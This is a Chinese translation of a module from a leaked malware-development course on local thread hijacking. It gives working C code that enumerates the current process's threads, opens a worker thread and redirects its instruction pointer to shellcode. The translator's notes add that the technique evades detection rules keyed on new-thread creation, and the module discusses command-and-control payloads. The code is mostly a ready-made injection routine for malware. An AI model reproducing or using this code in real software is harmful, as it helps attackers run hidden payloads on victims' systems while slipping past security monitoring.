模块 37 - 线程劫持 - 本地线程枚举
恶意软件开发课程 - 线程劫持 - 本地线程枚举
模块 37 - 线程劫持 - 本地线程枚举#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
线程劫持 - 本地线程枚举#
简介#
到目前为止,当执行本地线程劫持时,目标线程是使用 CreateThread 创建的,并且其上下文被修改。本模块将演示另一种方法,即使用 CreateToolhelp32Snapshot 枚举系统中正在运行的线程,然后进行劫持。
线程枚举#
回想一下之前模块中 CreateToolhelp32Snapshot 的使用,WinAPI 用于检索系统进程的快照。在本模块中,使用了相同的 WinAPI,但 dwFlags 参数 ↗ 使用了不同的值。要枚举系统上正在运行的线程,必须指定 TH32CS_SNAPTHREAD 标志。使用此标志,CreateToolhelp32Snapshot 返回一个 THREADENTRY32 ↗ 结构,如下所示。
typedef struct tagTHREADENTRY32 {
DWORD dwSize; // sizeof(THREADENTRY32)
DWORD cntUsage;
DWORD th32ThreadID; // 线程 ID
DWORD th32OwnerProcessID; // 创建该线程的进程的 PID
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32;c在捕获的快照中,每个正在运行的线程都有其自己的 THREADENTRY32 结构。
识别线程的所有者#
根据微软的文档:
要识别属于特定进程的线程,请在枚举线程时将其进程标识符与 THREADENTRY32 结构的 th32OwnerProcessID 成员进行比较。
换句话说,要确定线程属于哪个进程,请将目标 PID 与 THREADENTRY32.th32OwnerProcessID 进行比较,后者是创建该线程的进程的 PID。如果 PID 匹配,则当前枚举的线程属于目标进程。
所需的 WinAPI#
将使用以下 WinAPI 执行线程枚举。
- CreateToolhelp32Snapshot ↗ - 与
TH32CS_SNAPTHREAD标志一起使用,以接收系统上运行的所有线程的快照。 - Thread32First ↗ - 用于获取快照中捕获的第一个线程的信息。
- Thread32Next ↗ - 用于获取快照中捕获的下一个线程的信息。
- OpenThread ↗ - 用于使用线程 ID 打开目标线程的句柄。
- GetCurrentProcessId ↗ - 用于检索本地进程的 PID。由于本地进程是目标进程,因此需要其 PID 来确定线程是否属于此进程。
工作线程 (Worker Threads)#
在深入研究线程枚举代码之前,重要的是要了解 工作线程 的概念。虽然代码中未使用 CreateThread,但 Windows 操作系统将在进程中创建工作线程。这些工作线程是线程劫持的有效目标。下面可以看到这些工作线程的示例。

上图中显示的线程,例如 ntdll.dll!EtwNotificationRegister+0x2d0,是由操作系统创建的,用于运行 EtwNotificationRegister 函数,这与 ETW - Windows 事件跟踪 有关。ETW 将在未来的模块中解释,但目前只需了解该函数用于在进程中发生特定事件时通知操作系统即可。
💡 初学者提示:什么是工作线程?
你写的
main()函数在主线程中运行。但在后台,Windows 和加载的 DLL (如ntdll.dll,kernel32.dll) 会自动创建其他线程来处理任务,比如:
- ETW 线程:用于事件日志记录。
- 线程池工作者:处理异步任务。
劫持这些“路人甲”线程的好处是:它们通常不执行关键的业务逻辑,劫持它们不太可能导致整个程序崩溃。
线程枚举函数#
GetLocalThreadHandle 利用前面提到的步骤执行线程枚举。它需要 3 个参数:
dwMainThreadId- 本地进程主线程的线程 ID。这是为了避免针对本地进程的主线程。dwThreadId- 指向接收可劫持线程 ID 的 DWORD 的指针。hThread- 指向接收可劫持线程句柄的 HANDLE 的指针。
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
// 获取本地进程 ID
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hSnapShot = NULL;
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// 获取当前正在运行的进程线程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// 检索快照中遇到的第一个线程的信息
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 如果线程的 PID 等于目标进程的 PID,
// 则该线程在目标进程下运行
// 'Thr.th32ThreadID != dwMainThreadId' 是为了避免针对我们本地进程的主线程
if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {
// 打开线程句柄
*dwThreadId = Thr.th32ThreadID;
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
break;
}
// 当快照中还有剩余线程时
} while (Thread32Next(hSnapShot, &Thr));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwThreadId == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}c本地线程劫持函数#
一旦获得目标线程的有效句柄,就可以将其传递给 HijackThread 函数。将使用 SuspendThread ↗ WinAPI 挂起线程,然后使用 GetThreadContext 和 SetThreadContext 更新 RIP 寄存器以指向 Payload 的基地址。此外,在劫持线程之前,必须将 Payload 写入本地进程内存。
BOOL HijackThread(HANDLE hThread, PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_ALL
};
SuspendThread(hThread);
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
ThreadCtx.Rip = pAddress;
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[#] Press <Enter> To Run ... ");
getchar();
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}c演示#
请注意,Payload 执行可能需要一些时间,因为被劫持的线程不是主线程,并且不会连续运行(取决于该工作线程原本的调度频率)。

此外,根据 Payload 的不同,本地进程可能会在执行后崩溃。例如,如果 Payload 用于命令和控制服务器,则进程将继续运行,但是,如果使用的是 Msfvenom 的计算器 Shellcode,则进程将崩溃,因为 Msfvenom 的计算器 Shellcode 会终止调用线程。

🎯 总结#
在本模块中,我们学习了:
- 线程快照:使用
CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD)枚举系统中的所有线程。 - 筛选线程:通过
th32OwnerProcessID找到属于当前进程的线程。 - 避开主线程:通过比较 ID,避免劫持主线程,因为挂起主线程会导致程序“假死”。
- 劫持工作线程:利用系统自动创建的后台线程作为 Shellcode 载体。
💡 关键要点
- 这种方法不需要创建任何新线程 (
CreateThread),因此可以规避某些基于“新线程创建”的检测规则。- 它利用了现有的、合法的系统线程,隐蔽性更好。
- 风险点:如果你劫持的线程恰好负责重要任务(如处理 UI 或网络心跳),挂起它可能会导致程序异常。因此选择“不知名”的工作线程通常比较安全。
📚 下一步学习
下一个模块将介绍 Thread Hijacking - Remote Thread Enumeration。我们将把这个技术扩展到远程进程:枚举并劫持远程进程中的现有线程。